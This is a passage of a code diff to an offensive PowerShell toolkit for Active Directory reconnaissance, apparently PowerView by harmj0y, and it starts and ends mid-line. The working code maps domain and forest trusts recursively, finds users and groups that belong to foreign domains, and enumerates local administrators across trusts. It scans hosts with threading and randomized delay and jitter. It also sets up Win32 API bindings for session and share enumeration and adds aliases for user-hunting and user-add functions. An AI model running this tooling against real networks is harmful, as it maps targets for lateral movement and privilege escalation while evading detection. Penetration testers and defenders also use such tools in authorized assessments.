-ScriptParameters $ScriptParams + } - # keep track of domains seen so we don't hit infinite recursion - $seenDomains = @{} + else { + if(-not $NoPing -and ($ComputerName.count -ne 1)) { + # ping all hosts in parallel + $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} + $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 + } - # our domain status tracker - $domains = New-Object System.Collections.Stack + Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + $Counter = 0 - # get the current domain and push it onto the stack - $currentDomain = (([adsi]'').distinguishedname -replace 'DC=','' -replace ',','.')[0] - $domains.push($currentDomain) + ForEach ($Computer in $ComputerName) { - while($domains.Count -ne 0){ + $Counter = $Counter + 1 - $d = $domains.Pop() + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - # if we haven't seen this domain before - if (-not $seenDomains.ContainsKey($d)) { + Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs + } + } + } +} - Write-Verbose "Enumerating domain $d" - # mark it as seen in our list - $seenDomains.add($d, "") | out-null +######################################################## +# +# Domain trust functions below. +# +######################################################## + +function Get-NetDomainTrust { +<# + .SYNOPSIS + + Return all domain trusts for the current domain or + a specified domain. + + .PARAMETER Domain - # get the group trust user for this domain - Invoke-FindGroupTrustUsers -Domain $d + The domain whose trusts to enumerate, defaults to the current domain. - try{ - # get all the trusts for this domain - $trusts = Get-NetDomainTrusts -Domain $d - if ($trusts){ + .PARAMETER DomainController - # enumerate each trust found - foreach ($trust in $trusts){ - $target = $trust.TargetName - # make sure we process the target - $domains.push($target) | out-null - } - } - } - catch{ - Write-Warning "[!] Error: $_" - } - } - } -} + Domain controller to reflect LDAP queries through. + .PARAMETER LDAP -function Invoke-EnumerateLocalTrustGroups { - <# - .SYNOPSIS - Enumerates members of the local Administrators groups - across all machines in the domain that are not a part of - the local machine or the machine's domain. That is, all - local accounts across a trust. + Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. + More likely to get around network segmentation, but not as accurate. - Author: @harmj0y - License: BSD 3-Clause + .EXAMPLE - .PARAMETER Hosts - Host array to enumerate, passable on the pipeline. + PS C:\> Get-NetDomainTrust - .PARAMETER HostList - List of hostnames/IPs to search. + Return domain trusts for the current domain. - .PARAMETER HostFilter - Host filter name to query AD for, wildcards accepted. + .EXAMPLE - .PARAMETER Delay - Delay between enumerating hosts, defaults to 0. + PS C:\> Get-NetDomainTrust -Domain "prod.testlab.local" - .PARAMETER NoPing - Don't ping each host to ensure it's up before enumerating. + Return domain trusts for the "prod.testlab.local" domain. - .PARAMETER Jitter - Jitter for the host delay, defaults to +/- 0.3. + .EXAMPLE - .PARAMETER Domain - Domain to query for systems. + PS C:\> Get-NetDomainTrust -Domain "prod.testlab.local" -DomainController "PRIMARY.testlab.local" - .LINK - http://blog.harmj0y.net/ - #> + Return domain trusts for the "prod.testlab.local" domain, reflecting + queries through the "Primary.testlab.local" domain controller +#> [CmdletBinding()] param( - [Parameter(Position=0,ValueFromPipeline=$true)] - [String[]] - $Hosts, - - [string] - $HostList, + [Parameter(Position=0,ValueFromPipeline=$True)] + [String] + $Domain = (Get-NetDomain).Name, - [string] - $HostFilter, + [String] + $DomainController, [Switch] - $NoPing, - - [UInt32] - $Delay = 0, - - [double] - $Jitter = .3, - - [string] - $Domain + $LDAP ) - begin { - - If ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } + process { + if($LDAP -or $DomainController) { - # get the target domain - if($Domain){ - $targetDomain = $Domain - } - else{ - # use the local domain - $targetDomain = $null - } + $TrustSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController - Write-Verbose "[*] Running Invoke-EnumerateLocalTrustGroups with delay of $Delay" - if($targetDomain){ - Write-Verbose "[*] Domain: $targetDomain" - } + if($TrustSearcher) { - # random object for delay - $randNo = New-Object System.Random + $TrustSearcher.filter = '(&(objectClass=trustedDomain))' + $TrustSearcher.PageSize = 200 - # if we're using a host list, read the targets in and add them to the target list - if($HostList){ - if (Test-Path -Path $HostList){ - $Hosts = Get-Content -Path $HostList - } - else{ - Write-Warning "[!] Input file '$HostList' doesn't exist!" - return + $TrustSearcher.FindAll() | ForEach-Object { + $Props = $_.Properties + $DomainTrust = New-Object PSObject + $TrustAttrib = Switch ($Props.trustattributes) + { + 0x001 { "non_transitive" } + 0x002 { "uplevel_only" } + 0x004 { "quarantined_domain" } + 0x008 { "forest_transitive" } + 0x010 { "cross_organization" } + 0x020 { "within_forest" } + 0x040 { "treat_as_external" } + 0x080 { "trust_uses_rc4_encryption" } + 0x100 { "trust_uses_aes_keys" } + Default { + Write-Warning "Unknown trust attribute: $($Props.trustattributes)"; + "$($Props.trustattributes)"; + } + } + $Direction = Switch ($Props.trustdirection) { + 0 { "Disabled" } + 1 { "Inbound" } + 2 { "Outbound" } + 3 { "Bidirectional" } + } + $ObjectGuid = New-Object Guid @(,$Props.objectguid[0]) + $DomainTrust | Add-Member Noteproperty 'SourceName' $Domain + $DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0] + $DomainTrust | Add-Member Noteproperty 'ObjectGuid' "{$ObjectGuid}" + $DomainTrust | Add-Member Noteproperty 'TrustType' "$TrustAttrib" + $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction" + $DomainTrust + } } } - elseif($HostFilter){ - Write-Verbose "[*] Querying domain $targetDomain for hosts with filter '$HostFilter'" - $Hosts = Get-NetComputers -Domain $targetDomain -HostName $HostFilter - } - # find all group names that have one or more users in another domain - $TrustGroups = Invoke-FindGroupTrustUsers -Domain $domain | % { $_.GroupName } | Sort-Object -Unique - - $TrustGroupsSIDS = $TrustGroups | % { - # ignore the builtin administrators group for a DC - Get-NetGroups -Domain $Domain -GroupName $_ -FullData | ? { $_.objectsid -notmatch "S-1-5-32-544" } | % { $_.objectsid } + else { + # if we're using direct domain connections + $FoundDomain = Get-NetDomain -Domain $Domain + + if($FoundDomain) { + (Get-NetDomain -Domain $Domain).GetAllTrustRelationships() + } } - - # query for the primary domain controller so we can extract the domain SID for filtering - $PrimaryDC = (Get-NetDomain -Domain $Domain).PdcRoleOwner - $PrimaryDCSID = (Get-NetComputers -Domain $Domain -Hostname $PrimaryDC -FullData).objectsid - $parts = $PrimaryDCSID.split("-") - $DomainSID = $parts[0..($parts.length -2)] -join "-" } +} - process{ - if ( (-not ($Hosts)) -or ($Hosts.length -eq 0)) { - Write-Verbose "[*] Querying domain $targetDomain for hosts..." - $Hosts = Get-NetComputers -Domain $targetDomain - } +function Get-NetForestTrust { +<# + .SYNOPSIS + + Return all trusts for the current forest. - # randomize the host list - $Hosts = Get-ShuffledArray $Hosts + .PARAMETER Forest - if(-not $NoPing){ - $Hosts = $Hosts | Invoke-Ping - } + Return trusts for the specified forest. - $counter = 0 + .EXAMPLE - foreach ($server in $Hosts){ + PS C:\> Get-NetForestTrust - $counter = $counter + 1 + Return current forest trusts. - Write-Verbose "[*] Enumerating server $server ($counter of $($Hosts.count))" + .EXAMPLE - # sleep for our semi-randomized interval - Start-Sleep -Seconds $randNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + PS C:\> Get-NetForestTrust -Forest "test" - # grab the users for the local admins on this server - $localAdmins = Get-NetLocalGroup -HostName $server + Return trusts for the "test" forest. +#> - # get the local machine SID - $LocalSID = ($localAdmins | Where-Object { $_.SID -match '.*-500$' }).SID -replace "-500$" + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [String] + $Forest + ) - # filter out accounts that begin with the machine SID and domain SID - # but preserve any groups that have users across a trust ($TrustGroupSIDS) - $LocalAdmins | Where-Object { ($TrustGroupsSIDS -contains $_.SID) -or ((-not $_.SID.startsWith($LocalSID)) -and (-not $_.SID.startsWith($DomainSID))) } + process { + $FoundForest = Get-NetForest -Forest $Forest + if($FoundForest) { + $FoundForest.GetAllTrustRelationships() } } } -function Invoke-EnumerateLocalTrustGroupsThreaded { - <# - .SYNOPSIS - Enumerates members of the local Administrators groups - across all machines in the domain that are not a part of - the local machine or the machine's domain. That is, all - local accounts across a trust. Uses multithreading to - speed up enumeration. +function Find-ForeignUser { +<# + .SYNOPSIS - Author: @harmj0y - License: BSD 3-Clause + Enumerates users who are in groups outside of their + principal domain. The -Recurse option will try to map all + transitive domain trust relationships and enumerate all + users who are in groups outside of their principal domain. - .DESCRIPTION - This function queries the domain for all active machines with - Get-NetComputers, then for each server it queries the local - Administrators with Get-NetLocalGroup. + .PARAMETER UserName - .PARAMETER Hosts - Host array to enumerate, passable on the pipeline. + Username to filter results for, wildcards accepted. - .PARAMETER HostList - List of hostnames/IPs to search. + .PARAMETER Domain - .PARAMETER HostFilter - Host filter name to query AD for, wildcards accepted. + Domain to query for users, defaults to the current domain. - .PARAMETER NoPing - Don't ping each host to ensure it's up before enumerating. + .PARAMETER DomainController - .PARAMETER Domain - Domain to query for systems. + Domain controller to reflect LDAP queries through. - .PARAMETER OutFile - Output results to a specified csv output file. + .PARAMETER LDAP - .PARAMETER MaxThreads - The maximum concurrent threads to execute. + Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. + More likely to get around network segmentation, but not as accurate. + + .PARAMETER Recurse + + Switch. Enumerate all user trust groups from all reachable domains recursively. + + .LINK - .LINK http://blog.harmj0y.net/ - #> +#> [CmdletBinding()] param( - [Parameter(Position=0,ValueFromPipeline=$true)] - [String[]] - $Hosts, + [String] + $UserName, - [string] - $HostList, + [String] + $Domain, - [string] - $HostFilter, + [String] + $DomainController, [Switch] - $NoPing, + $LDAP, - [string] - $Domain, + [Switch] + $Recurse + ) - [string] - $OutFile, + function Get-ForeignUser { + # helper used to enumerate users who are in groups outside of their principal domain + param( + [String] + $UserName, - [Int] - $MaxThreads = 20 - ) + [String] + $Domain, - begin { - If ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } + [String] + $DomainController + ) - # get the target domain - if($Domain){ - $targetDomain = $Domain + if ($Domain) { + # get the domain name into distinguished form + $DistinguishedDomainName = "DC=" + $Domain -replace '\.',',DC=' } - else{ - # use the local domain - $targetDomain = $null + else { + $DistinguishedDomainName = [String] ([adsi]'').distinguishedname + $Domain = $DistinguishedDomainName -replace 'DC=','' -replace ',','.' } - Write-Verbose "[*] Running Invoke-EnumerateLocalAdminsThreaded with delay of $Delay" - if($targetDomain){ - Write-Verbose "[*] Domain: $targetDomain" + Get-NetUser -Domain $Domain -DomainController $DomainController -UserName $UserName | Where-Object {$_.memberof} | ForEach-Object { + ForEach ($Membership in $_.memberof) { + $Index = $Membership.IndexOf("DC=") + if($Index) { + + $GroupDomain = $($Membership.substring($Index)) -replace 'DC=','' -replace ',','.' + + if ($GroupDomain.CompareTo($Domain)) { + # if the group domain doesn't match the user domain, output + $GroupName = $Membership.split(",")[0].split("=")[1] + $ForeignUser = New-Object PSObject + $ForeignUser | Add-Member Noteproperty 'UserDomain' $Domain + $ForeignUser | Add-Member Noteproperty 'UserName' $_.samaccountname + $ForeignUser | Add-Member Noteproperty 'GroupDomain' $GroupDomain + $ForeignUser | Add-Member Noteproperty 'GroupName' $GroupName + $ForeignUser | Add-Member Noteproperty 'GroupDN' $Membership + $ForeignUser + } + } + } } + } - # if we're using a host list, read the targets in and add them to the target list - if($HostList){ - if (Test-Path -Path $HostList){ - $Hosts = Get-Content -Path $HostList - } - else{ - Write-Warning "[!] Input file '$HostList' doesn't exist!" - "[!] Input file '$HostList' doesn't exist!" - return - } + if ($Recurse) { + # get all rechable domains in the trust mesh and uniquify them + if($LDAP -or $DomainController) { + $DomainTrusts = Invoke-MapDomainTrust -LDAP -DomainController $DomainController | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique } - elseif($HostFilter){ - Write-Verbose "[*] Querying domain $targetDomain for hosts with filter '$HostFilter'" - $Hosts = Get-NetComputers -Domain $targetDomain -HostName $HostFilter + else { + $DomainTrusts = Invoke-MapDomainTrust | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique } - # find all group names that have one or more users in another domain - $TrustGroups = Invoke-FindGroupTrustUsers -Domain $domain | % { $_.GroupName } | Sort-Object -Unique - - $TrustGroupsSIDS = $TrustGroups | % { - # ignore the builtin administrators group for a DC - Get-NetGroups -Domain $Domain -GroupName $_ -FullData | ? { $_.objectsid -notmatch "S-1-5-32-544" } | % { $_.objectsid } + ForEach($DomainTrust in $DomainTrusts) { + # get the trust groups for each domain in the trust mesh + Write-Verbose "Enumerating trust groups in domain $DomainTrust" + Get-ForeignUser -Domain $DomainTrust -UserName $UserName } + } + else { + Get-ForeignUser -Domain $Domain -DomainController $DomainController -UserName $UserName + } +} - # query for the primary domain controller so we can extract the domain SID for filtering - $PrimaryDC = (Get-NetDomain -Domain $Domain).PdcRoleOwner - $PrimaryDCSID = (Get-NetComputers -Domain $Domain -Hostname $PrimaryDC -FullData).objectsid - $parts = $PrimaryDCSID.split("-") - $DomainSID = $parts[0..($parts.length -2)] -join "-" - - # script block that eunmerates a server - # this is called by the multi-threading code later - $EnumServerBlock = { - param($Server, $DomainSID, $TrustGroupsSIDS, $Ping) - # optionally check if the server is up first - $up = $true - if($Ping){ - $up = Test-Server -Server $Server - } - if($up){ - # grab the users for the local admins on this server - $localAdmins = Get-NetLocalGroup -HostName $server +function Find-ForeignGroup { +<# + .SYNOPSIS - # get the local machine SID - $LocalSID = ($localAdmins | Where-Object { $_.SID -match '.*-500$' }).SID -replace "-500$" + Enumerates all the members of a given domain's groups + and finds users that are not in the queried domain. + The -Recurse flag will perform this enumeration for all + eachable domain trusts. - # filter out accounts that begin with the machine SID and domain SID - # but preserve any groups that have users across a trust ($TrustGroupSIDS) - $LocalAdmins | Where-Object { ($TrustGroupsSIDS -contains $_.SID) -or ((-not $_.SID.startsWith($LocalSID)) -and (-not $_.SID.startsWith($DomainSID))) } - } - } + .PARAMETER GroupName - # Adapted from: - # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/ - $sessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() - $sessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() + Groupname to filter results for, wildcards accepted. - # grab all the current variables for this runspace - $MyVars = Get-Variable -Scope 1 + .PARAMETER Domain - # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice - $VorbiddenVars = @("?","args","ConsoleFileName","Error","ExecutionContext","false","HOME","Host","input","InputObject","MaximumAliasCount","MaximumDriveCount","MaximumErrorCount","MaximumFunctionCount","MaximumHistoryCount","MaximumVariableCount","MyInvocation","null","PID","PSBoundParameters","PSCommandPath","PSCulture","PSDefaultParameterValues","PSHOME","PSScriptRoot","PSUICulture","PSVersionTable","PWD","ShellId","SynchronizedHash","true") + Domain to query for groups, defaults to the current domain. - # Add Variables from Parent Scope (current runspace) into the InitialSessionState - ForEach($Var in $MyVars) { - If($VorbiddenVars -notcontains $Var.Name) { - $sessionstate.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) - } - } + .PARAMETER DomainController - # Add Functions from current runspace to the InitialSessionState - ForEach($Function in (Get-ChildItem Function:)) { - $sessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) - } + Domain controller to reflect LDAP queries through. - # threading adapted from - # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407 - # Thanks Carlos! - $counter = 0 + .PARAMETER LDAP - # create a pool of maxThread runspaces - $pool = [runspacefactory]::CreateRunspacePool(1, $MaxThreads, $sessionState, $host) - $pool.Open() + Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. + More likely to get around network segmentation, but not as accurate. - $jobs = @() - $ps = @() - $wait = @() + .PARAMETER Recurse - $counter = 0 - } + Switch. Enumerate all group trust users from all reachable domains recursively. - process { + .LINK - if ( (-not ($Hosts)) -or ($Hosts.length -eq 0)) { - Write-Verbose "[*] Querying domain $targetDomain for hosts..." - $Hosts = Get-NetComputers -Domain $targetDomain - } + http://blog.harmj0y.net/ +#> - # randomize the host list - $Hosts = Get-ShuffledArray $Hosts - $HostCount = $Hosts.Count - Write-Verbose "[*] Total number of hosts: $HostCount" + [CmdletBinding()] + param( + [String] + $GroupName = '*', - foreach ($server in $Hosts){ - # make sure we get a server name - if ($server -ne ''){ - Write-Verbose "[*] Enumerating server $server ($($counter+1) of $($Hosts.count))" + [String] + $Domain, - While ($($pool.GetAvailableRunspaces()) -le 0) { - Start-Sleep -milliseconds 500 - } + [String] + $DomainController, - # create a "powershell pipeline runner" - $ps += [powershell]::create() + [Switch] + $LDAP, - $ps[$counter].runspacepool = $pool + [Switch] + $Recurse + ) - # param($Server, $DomainSID, $TrustGroupsSIDS, $Ping) + function Get-ForeignGroup { + param( + [String] + $GroupName = '*', - # add the script block + arguments - [void]$ps[$counter].AddScript($EnumServerBlock).AddParameter('Server', $server).AddParameter('DomainSID', $DomainSID).AddParameter('TrustGroupsSIDS', $TrustGroupsSIDS).AddParameter('Ping', -not $NoPing) + [String] + $Domain, - # start job - $jobs += $ps[$counter].BeginInvoke(); + [String] + $DomainController + ) - # store wait handles for WaitForAll call - $wait += $jobs[$counter].AsyncWaitHandle - } - $counter = $counter + 1 + if(-not $Domain) { + $Domain = (Get-NetDomain).Name } - } - - end { - - Write-Verbose "Waiting for scanning threads to finish..." - $waitTimeout = Get-Date + $DomainDN = "DC=$($Domain.Replace('.', ',DC='))" + Write-Verbose "DomainDN: $DomainDN" - while ($($jobs | ? {$_.IsCompleted -eq $false}).count -gt 0 -or $($($(Get-Date) - $waitTimeout).totalSeconds) -gt 60) { - Start-Sleep -milliseconds 500 - } + # standard group names to ignore + $ExcludeGroups = @("Users", "Domain Users", "Guests") - # end async call - for ($y = 0; $y -lt $counter; $y++) { + # get all the groupnames for the given domain + Get-NetGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -FullData | Where-Object {$_.member} | Where-Object { + # exclude common large groups + -not ($ExcludeGroups -contains $_.samaccountname) } | ForEach-Object { + + $GroupName = $_.samAccountName + + $_.member | ForEach-Object { + # filter for foreign SIDs in the cn field for users in another domain, + # or if the DN doesn't end with the proper DN for the queried domain + if (($_ -match 'CN=S-1-5-21.*-.*') -or ($DomainDN -ne ($_.substring($_.IndexOf("DC="))))) { + + $UserDomain = $_.subString($_.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + $UserName = $_.split(",")[0].split("=")[1] + + $ForeignGroupUser = New-Object PSObject + $ForeignGroupUser | Add-Member Noteproperty 'GroupDomain' $Domain + $ForeignGroupUser | Add-Member Noteproperty 'GroupName' $GroupName + $ForeignGroupUser | Add-Member Noteproperty 'UserDomain' $UserDomain + $ForeignGroupUser | Add-Member Noteproperty 'UserName' $UserName + $ForeignGroupUser | Add-Member Noteproperty 'UserDN' $_ + $ForeignGroupUser + } + } + } + } - try { - # complete async job - $ps[$y].EndInvoke($jobs[$y]) + if ($Recurse) { + # get all rechable domains in the trust mesh and uniquify them + if($LDAP -or $DomainController) { + $DomainTrusts = Invoke-MapDomainTrust -LDAP -DomainController $DomainController | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique + } + else { + $DomainTrusts = Invoke-MapDomainTrust | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique + } - } catch { - Write-Warning "error: $_" - } - finally { - $ps[$y].Dispose() - } + ForEach($DomainTrust in $DomainTrusts) { + # get the trust groups for each domain in the trust mesh + Write-Verbose "Enumerating trust groups in domain $DomainTrust" + Get-ForeignGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController } - $pool.Dispose() + } + else { + Get-ForeignGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController } } -function Invoke-MapDomainTrusts { - <# - .SYNOPSIS - Try to map all transitive domain trust relationships. +function Invoke-MapDomainTrust { +<# + .SYNOPSIS - .DESCRIPTION This function gets all trusts for the current domain, and tries to get all trusts for each domain it finds. - .EXAMPLE - > Invoke-MapDomainTrusts - Return a "domain1,domain2,trustType,trustDirection" list - - .LINK - http://blog.harmj0y.net/ - #> - - # keep track of domains seen so we don't hit infinite recursion - $seenDomains = @{} - - # our domain status tracker - $domains = New-Object System.Collections.Stack - - # get the current domain and push it onto the stack - $currentDomain = (([adsi]'').distinguishedname -replace 'DC=','' -replace ',','.')[0] - $domains.push($currentDomain) - - while($domains.Count -ne 0){ - - $d = $domains.Pop() - - # if we haven't seen this domain before - if (-not $seenDomains.ContainsKey($d)) { - - # mark it as seen in our list - $seenDomains.add($d, "") | out-null - - try{ - # get all the trusts for this domain - $trusts = Get-NetDomainTrusts -Domain $d - if ($trusts){ + .PARAMETER LDAP - # enumerate each trust found - foreach ($trust in $trusts){ - $source = $trust.SourceName - $target = $trust.TargetName - $type = $trust.TrustType - $direction = $trust.TrustDirection + Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. + More likely to get around network segmentation, but not as accurate. - # make sure we process the target - $domains.push($target) | out-null + .PARAMETER DomainController - # build the nicely-parsable custom output object - $out = new-object psobject - $out | add-member Noteproperty 'SourceDomain' $source - $out | add-member Noteproperty 'TargetDomain' $target - $out | add-member Noteproperty 'TrustType' "$type" - $out | add-member Noteproperty 'TrustDirection' "$direction" - $out - } - } - } - catch{ - Write-Warning "[!] Error: $_" - } - } - } -} + Domain controller to reflect LDAP queries through. + .EXAMPLE -function Invoke-MapDomainTrustsLDAP { - <# - .SYNOPSIS - Try to map all transitive domain trust relationships - through LDAP queries. + PS C:\> Invoke-MapDomainTrust | Export-CSV -NoTypeInformation trusts.csv + + Map all reachable domain trusts and output everything to a .csv file. - .EXAMPLE - > Invoke-MapDomainTrustsLDAP - Return a "domain1,domain2,trustType,trustDirection" list + .LINK - .LINK http://blog.harmj0y.net/ - #> +#> + [CmdletBinding()] + param( + [Switch] + $LDAP, + + [String] + $DomainController + ) # keep track of domains seen so we don't hit infinite recursion - $seenDomains = @{} + $SeenDomains = @{} # our domain status tracker - $domains = New-Object System.Collections.Stack + $Domains = New-Object System.Collections.Stack # get the current domain and push it onto the stack - $currentDomain = (([adsi]'').distinguishedname -replace 'DC=','' -replace ',','.')[0] - $domains.push($currentDomain) + $CurrentDomain = (Get-NetDomain).Name + $Domains.push($CurrentDomain) - while($domains.Count -ne 0){ + while($Domains.Count -ne 0) { - $d = $domains.Pop() + $Domain = $Domains.Pop() # if we haven't seen this domain before - if (-not $seenDomains.ContainsKey($d)) { + if (-not $SeenDomains.ContainsKey($Domain)) { + + Write-Verbose "Enumerating trusts for domain '$Domain'" # mark it as seen in our list - $seenDomains.add($d, "") | out-null + $Null = $SeenDomains.add($Domain, "") - try{ - # get all the trusts for this domain through LDAP queries - $trusts = Get-NetDomainTrustsLDAP -Domain $d - if ($trusts){ + try { + # get all the trusts for this domain + if($LDAP -or $DomainController) { + $Trusts = Get-NetDomainTrust -Domain $Domain -LDAP -DomainController $DomainController + } + else { + $Trusts = Get-NetDomainTrust -Domain $Domain + } + + if ($Trusts) { # enumerate each trust found - foreach ($trust in $trusts){ - $source = $trust.SourceName - $target = $trust.TargetName - $type = $trust.TrustType - $direction = $trust.TrustDirection + ForEach ($Trust in $Trusts) { + $SourceDomain = $Trust.SourceName + $TargetDomain = $Trust.TargetName + $TrustType = $Trust.TrustType + $TrustDirection = $Trust.TrustDirection # make sure we process the target - $domains.push($target) | out-null + $Null = $Domains.push($TargetDomain) # build the nicely-parsable custom output object - $out = new-object psobject - $out | add-member Noteproperty 'SourceDomain' $source - $out | add-member Noteproperty 'TargetDomain' $target - $out | add-member Noteproperty 'TrustType' $type - $out | add-member Noteproperty 'TrustDirection' $direction - $out + $DomainTrust = New-Object PSObject + $DomainTrust | Add-Member Noteproperty 'SourceDomain' "$SourceDomain" + $DomainTrust | Add-Member Noteproperty 'TargetDomain' "$TargetDomain" + $DomainTrust | Add-Member Noteproperty 'TrustType' "$TrustType" + $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$TrustDirection" + $DomainTrust } } } - catch{ + catch { Write-Warning "[!] Error: $_" } } @@ -11390,24 +10196,26 @@ function Invoke-MapDomainTrustsLDAP { } - -# expose the Win32API functions and datastructures below -# using PSReflect +######################################################## +# +# Expose the Win32API functions and datastructures below +# using PSReflect. +# Warning: Once these are executed, they are baked in +# and can't be changed while the script is running! +# +######################################################## $Mod = New-InMemoryModule -ModuleName Win32 # all of the Win32 API functions we need $FunctionDefinitions = @( - (func netapi32 NetShareEnum ([Int]) @([string], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), - (func netapi32 NetWkstaUserEnum ([Int]) @([string], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), - (func netapi32 NetSessionEnum ([Int]) @([string], [string], [string], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), - (func netapi32 NetFileEnum ([Int]) @([string], [string], [string], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), - (func netapi32 NetConnectionEnum ([Int]) @([string], [string], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), - (func advapi32 OpenSCManagerW ([IntPtr]) @([string], [string], [Int])), + (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int])), (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])), - - (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([string])), + (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType())), (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType())), (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])), @@ -11416,6 +10224,7 @@ $FunctionDefinitions = @( (func kernel32 GetLastError ([Int]) @()) ) +# enum used by $WTS_SESSION_INFO_1 below $WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{ Active = 0 Connected = 1 @@ -11470,28 +10279,46 @@ $SESSION_INFO_10 = struct $Mod SESSION_INFO_10 @{ sesi10_idle_time = field 3 UInt32 } -# the NetFileEnum result structure -$FILE_INFO_3 = struct $Mod FILE_INFO_3 @{ - fi3_id = field 0 UInt32 - fi3_permissions = field 1 UInt32 - fi3_num_locks = field 2 UInt32 - fi3_pathname = field 3 String -MarshalAs @('LPWStr') - fi3_username = field 4 String -MarshalAs @('LPWStr') -} - -# the NetConnectionEnum result structure -$CONNECTION_INFO_1 = struct $Mod CONNECTION_INFO_1 @{ - coni1_id = field 0 UInt32 - coni1_type = field 1 UInt32 - coni1_num_opens = field 2 UInt32 - coni1_num_users = field 3 UInt32 - coni1_time = field 4 UInt32 - coni1_username = field 5 String -MarshalAs @('LPWStr') - coni1_netname = field 6 String -MarshalAs @('LPWStr') -} $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' $Netapi32 = $Types['netapi32'] $Advapi32 = $Types['advapi32'] $Kernel32 = $Types['kernel32'] $Wtsapi32 = $Types['wtsapi32'] + +# aliases to help the PowerView 2.0 transition +Set-Alias Get-NetForestDomains Get-NetForestDomain +Set-Alias Get-NetDomainControllers Get-NetDomainController +Set-Alias Get-NetUserSPNs Get-NetUser +Set-Alias Invoke-NetUserAdd Add-NetUser +Set-Alias Invoke-NetGroupUserAdd Add-NetGroupUser +Set-Alias Get-NetComputers Get-NetComputer +Set-Alias Get-NetOUs Get-NetOU +Set-Alias Get-NetGUIDOUs Get-NetOU +Set-Alias Get-NetFileServers Get-NetFileServer +Set-Alias Get-NetSessions Get-NetSession +Set-Alias Get-NetRDPSessions Get-NetRDPSession +Set-Alias Get-NetProcesses Get-NetProcess +Set-Alias Get-UserLogonEvents Get-UserEvent +Set-Alias Get-UserTGTEvents Get-UserEvent +Set-Alias Get-UserProperties Get-UserProperty +Set-Alias Get-ComputerProperties Get-ComputerProperty +Set-Alias Invoke-UserHunterThreaded Invoke-UserHunter +Set-Alias Invoke-ProcessHunterThreaded Invoke-ProcessHunter +Set-Alias Invoke-ShareFinderThreaded Invoke-ShareFinder +Set-Alias Invoke-SearchFiles Find-InterestingFile +Set-Alias Invoke-UserFieldSearch Find-UserField +Set-Alias Invoke-ComputerFieldSearch Find-ComputerField +Set-Alias Invoke-FindLocalAdminAccess Find-LocalAdminAccess +Set-Alias 